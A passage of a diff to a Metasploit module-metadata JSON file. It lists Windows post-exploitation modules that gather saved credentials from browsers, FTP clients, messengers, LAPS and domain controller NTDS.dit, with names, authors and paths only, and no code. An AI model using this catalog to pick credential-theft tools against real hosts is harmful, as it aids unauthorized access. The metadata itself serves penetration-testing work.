"URL-http://lab.mediaservice.net/code/cachedump.rb" + "Jacob Tierney", + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" ], + "description": "This module searches for credentials stored on CarotDAV FTP Client on a Windows host.", + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", - "path": "/modules/post/windows/gather/cachedump.rb", + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/carotdav_ftp.rb", "is_install_path": true, - "ref_name": "windows/gather/cachedump", + "ref_name": "windows/gather/credentials/carotdav_ftp", "check": false, "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, - "post_windows/gather/checkvm": { - "name": "Windows Gather Virtual Environment Detection", - "fullname": "post/windows/gather/checkvm", - "aliases": [ - - ], + "post_windows/gather/credentials/chrome": { + "name": "Chrome Credential Gatherer", + "fullname": "post/windows/gather/credentials/chrome", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ - "Carlos Perez ", - "Aaron Soto " - ], - "description": "This module attempts to determine whether the system is running\n inside of a virtual environment and if so, which one. This\n module supports detection of Hyper-V, VMWare, VirtualBox, Xen, QEMU,\n and Parallels.", - "references": [ - "URL-https://handlers.sans.org/tliston/ThwartingVMDetection_Liston_Skoudis.pdf", - "URL-https://www.heise.de/security/downloads/07/1/1/8/3/5/5/9/vmde.pdf", - "URL-https://evasions.checkpoint.com/techniques/registry.html" + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" ], + "description": "This module searches for credentials stored on Chrome on a Windows host.", + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-11-03 11:18:55 +0000", - "path": "/modules/post/windows/gather/checkvm.rb", + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/chrome.rb", "is_install_path": true, - "ref_name": "windows/gather/checkvm", + "ref_name": "windows/gather/credentials/chrome", "check": false, "post_auth": false, "default_credential": false, @@ -272136,107 +273048,101 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ - "meterpreter", - "powershell", - "shell" + "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, - "post_windows/gather/credentials/avira_password": { - "name": "Windows Gather Avira Password Extraction", - "fullname": "post/windows/gather/credentials/avira_password", - "aliases": [ - - ], + "post_windows/gather/credentials/comodo": { + "name": "Comodo Credential Gatherer", + "fullname": "post/windows/gather/credentials/comodo", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ - "Robert Kugler / robertchrk" - ], - "description": "This module extracts the weakly hashed password\n which is used to protect a Avira Antivirus (<= 15.0.17.273) installation.", - "references": [ - + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" ], + "description": "This module searches for credentials stored in Comodo on a Windows host.", + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", - "path": "/modules/post/windows/gather/credentials/avira_password.rb", + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/comodo.rb", "is_install_path": true, - "ref_name": "windows/gather/credentials/avira_password", + "ref_name": "windows/gather/credentials/comodo", "check": false, "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, - "post_windows/gather/credentials/bulletproof_ftp": { - "name": "Windows Gather BulletProof FTP Client Saved Password Extraction", - "fullname": "post/windows/gather/credentials/bulletproof_ftp", - "aliases": [ - - ], + "post_windows/gather/credentials/coolnovo": { + "name": "Coolnovo Credential Gatherer", + "fullname": "post/windows/gather/credentials/coolnovo", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ - "juan vazquez " - ], - "description": "This module extracts information from BulletProof FTP Bookmarks files and store\n retrieved credentials in the database.", - "references": [ - + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" ], + "description": "This module searches for Coolnovo credentials on a Windows host.", + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", - "path": "/modules/post/windows/gather/credentials/bulletproof_ftp.rb", + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/coolnovo.rb", "is_install_path": true, - "ref_name": "windows/gather/credentials/bulletproof_ftp", + "ref_name": "windows/gather/credentials/coolnovo", "check": false, "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/coreftp": { "name": "Windows Gather CoreFTP Saved Password Extraction", "fullname": "post/windows/gather/credentials/coreftp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272244,16 +273150,14 @@ "theLightCosine " ], "description": "This module extracts saved passwords from the CoreFTP FTP client. These\n passwords are stored in the registry. They are encrypted with AES-128-ECB.\n This module extracts and decrypts these passwords.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/coreftp.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/coreftp", @@ -272261,21 +273165,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/credential_collector": { "name": "Windows Gather Credential Collector", "fullname": "post/windows/gather/credentials/credential_collector", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272283,16 +273188,14 @@ "tebo " ], "description": "This module harvests credentials found on the host and stores them in the database.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/credential_collector.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/credential_collector", @@ -272300,21 +273203,63 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] + }, + "post_windows/gather/credentials/digsby": { + "name": "Digsby Credential Gatherer", + "fullname": "post/windows/gather/credentials/digsby", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for Digsby credentials on a Windows host.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/digsby.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/digsby", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] }, "post_windows/gather/credentials/domain_hashdump": { "name": "Windows Domain Controller Hashdump", "fullname": "post/windows/gather/credentials/domain_hashdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272322,16 +273267,14 @@ "theLightCosine " ], "description": "This module attempts to copy the NTDS.dit database from a live Domain Controller\n and then parse out all of the User Accounts. It saves all of the captured password\n hashes, including historical ones.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/domain_hashdump.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/domain_hashdump", @@ -272339,21 +273282,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/dynazip_log": { "name": "Windows Gather DynaZIP Saved Password Extraction", "fullname": "post/windows/gather/credentials/dynazip_log", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2001-03-27", "type": "post", @@ -272373,7 +273317,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/dynazip_log.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/dynazip_log", @@ -272381,22 +273325,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/dyndns": { "name": "Windows Gather DynDNS Client Password Extractor", "fullname": "post/windows/gather/credentials/dyndns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272405,16 +273350,14 @@ "sinn3r " ], "description": "This module extracts the username, password, and hosts for DynDNS version 4.1.8.\n This is done by downloading the config.dyndns file from the victim machine, and then\n automatically decode the password field. The original copy of the config file is also\n saved to disk.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/dyndns.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/dyndns", @@ -272422,21 +273365,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/enum_cred_store": { "name": "Windows Gather Credential Store Enumeration and Decryption Module", "fullname": "post/windows/gather/credentials/enum_cred_store", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272444,16 +273388,14 @@ "Kx499" ], "description": "This module will enumerate the Microsoft Credential Store and decrypt the\n credentials. This module can only access credentials created by the user the\n process is running as. It cannot decrypt Domain Network Passwords, but will\n display the username and location.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/post/windows/gather/credentials/enum_cred_store.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/enum_cred_store", @@ -272461,21 +273403,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/enum_laps": { "name": "Windows Gather Credentials Local Administrator Password Solution", "fullname": "post/windows/gather/credentials/enum_laps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272483,16 +273426,14 @@ "Ben Campbell " ], "description": "This module will recover the LAPS (Local Administrator Password Solution) passwords,\n configured in Active Directory, which is usually only accessible by privileged users.\n Note that the local administrator account name is not stored in Active Directory,\n so it is assumed to be 'Administrator' by default.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-05 20:15:14 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/enum_laps.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/enum_laps", @@ -272500,21 +273441,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/enum_picasa_pwds": { "name": "Windows Gather Google Picasa Password Extractor", "fullname": "post/windows/gather/credentials/enum_picasa_pwds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272523,16 +273465,14 @@ "Sil3ntDre4m " ], "description": "This module extracts and decrypts the login passwords\n stored by Google Picasa.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/post/windows/gather/credentials/enum_picasa_pwds.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/enum_picasa_pwds", @@ -272540,21 +273480,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/epo_sql": { "name": "Windows Gather McAfee ePO 4.6 Config SQL Credentials", "fullname": "post/windows/gather/credentials/epo_sql", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272562,16 +273503,14 @@ "Nathan Einwechter " ], "description": "This module extracts connection details and decrypts the saved password for the\n SQL database in use by a McAfee ePO 4.6 server. The passwords are stored in a\n config file. They are encrypted with AES-128-ECB and a static key.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/epo_sql.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/epo_sql", @@ -272579,21 +273518,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/filezilla_server": { "name": "Windows Gather FileZilla FTP Server Credential Collection", "fullname": "post/windows/gather/credentials/filezilla_server", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272602,16 +273542,14 @@ "g0tmi1k" ], "description": "This module will collect credentials from the FileZilla FTP server if installed.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/filezilla_server.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/filezilla_server", @@ -272619,21 +273557,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/flashfxp": { "name": "Windows Gather FlashFXP Saved Password Extraction", "fullname": "post/windows/gather/credentials/flashfxp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272641,16 +273580,14 @@ "theLightCosine " ], "description": "This module extracts weakly encrypted saved FTP Passwords from FlashFXP. It\n finds saved FTP connections in the Sites.dat file.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/flashfxp.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/flashfxp", @@ -272658,21 +273595,63 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] + }, + "post_windows/gather/credentials/flock": { + "name": "Flock Credential Gatherer", + "fullname": "post/windows/gather/credentials/flock", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for credentials stored in Flock on a Windows host.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/flock.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/flock", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] }, "post_windows/gather/credentials/ftpnavigator": { "name": "Windows Gather FTP Navigator Saved Password Extraction", "fullname": "post/windows/gather/credentials/ftpnavigator", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272680,16 +273659,14 @@ "theLightCosine " ], "description": "This module extracts saved passwords from the FTP Navigator FTP client.\n It will decode the saved passwords and store them in the database.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/ftpnavigator.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/ftpnavigator", @@ -272697,21 +273674,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/ftpx": { "name": "Windows Gather FTP Explorer (FTPX) Credential Extraction", "fullname": "post/windows/gather/credentials/ftpx", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272719,16 +273697,14 @@ "bcoles " ], "description": "This module finds saved login credentials for the FTP Explorer (FTPx)\n FTP client for Windows.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/ftpx.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/ftpx", @@ -272736,21 +273712,63 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] + }, + "post_windows/gather/credentials/gadugadu": { + "name": "Gadugadu Credential Gatherer", + "fullname": "post/windows/gather/credentials/gadugadu", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for Gadugadu credentials on a Windows host. Gadu-Gadu is a Polish instant messaging client using a proprietary protocol. Gadu-Gadu was the most popular IM service in Poland.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/gadugadu.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/gadugadu", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] }, "post_windows/gather/credentials/gpp": { "name": "Windows Gather Group Policy Preference Saved Passwords", "fullname": "post/windows/gather/credentials/gpp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272775,7 +273793,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/gpp.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/gpp", @@ -272783,21 +273801,64 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] + }, + "post_windows/gather/credentials/halloy_irc": { + "name": "Halloy IRC Credential Gatherer", + "fullname": "post/windows/gather/credentials/halloy_irc", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Jacob Tierney", + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for credentials stored on Halloy IRC Client on a Windows host.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/halloy_irc.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/halloy_irc", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] }, "post_windows/gather/credentials/heidisql": { "name": "Windows Gather HeidiSQL Saved Password Extraction", "fullname": "post/windows/gather/credentials/heidisql", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272805,16 +273866,14 @@ "h0ng10" ], "description": "This module extracts saved passwords from the HeidiSQL client. These\n passwords are stored in the registry. They are encrypted with a custom algorithm.\n This module extracts and decrypts these passwords.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/heidisql.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/heidisql", @@ -272822,21 +273881,63 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] + }, + "post_windows/gather/credentials/icq": { + "name": "ICQ Credential Gatherer", + "fullname": "post/windows/gather/credentials/icq", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for ICQ credentials on a Windows host.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/icq.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/icq", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] }, "post_windows/gather/credentials/idm": { "name": "Windows Gather Internet Download Manager (IDM) Password Extractor", "fullname": "post/windows/gather/credentials/idm", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272845,16 +273946,14 @@ "Unknown" ], "description": "This module recovers the saved premium download account passwords from\n Internet Download Manager (IDM). These passwords are stored in an encoded\n format in the registry. This module traverses through these registry entries\n and decodes them. Thanks to the template code of theLightCosine's CoreFTP\n password module.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/idm.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/idm", @@ -272862,21 +273961,63 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] + }, + "post_windows/gather/credentials/ie": { + "name": "Internet Explorer Credential Gatherer", + "fullname": "post/windows/gather/credentials/ie", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for Internet Explorer credentials on a Windows host.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/ie.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/ie", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] }, "post_windows/gather/credentials/imail": { "name": "Windows Gather IPSwitch iMail User Data Enumeration", "fullname": "post/windows/gather/credentials/imail", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272893,7 +274034,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/imail.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/imail", @@ -272901,21 +274042,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/imvu": { "name": "Windows Gather Credentials IMVU Game Client", "fullname": "post/windows/gather/credentials/imvu", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272923,16 +274065,14 @@ "Shubham Dawra " ], "description": "This module extracts account username & password from the IMVU game client\n and stores it as loot.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/imvu.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/imvu", @@ -272940,21 +274080,227 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] + }, + "post_windows/gather/credentials/incredimail": { + "name": "Incredimail Credential Gatherer", + "fullname": "post/windows/gather/credentials/incredimail", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for Incredimail credentials on a Windows host.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/incredimail.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/incredimail", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] + }, + "post_windows/gather/credentials/kakaotalk": { + "name": "KakaoTalk Credential Gatherer", + "fullname": "post/windows/gather/credentials/kakaotalk", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for KakaoTalk credentials on a Windows host. KakaoTalk is a popular mobile messaging app most widely used in South Korea.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/kakaotalk.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/kakaotalk", + "check": false, + "post_auth": false, + "default_credential": false, + 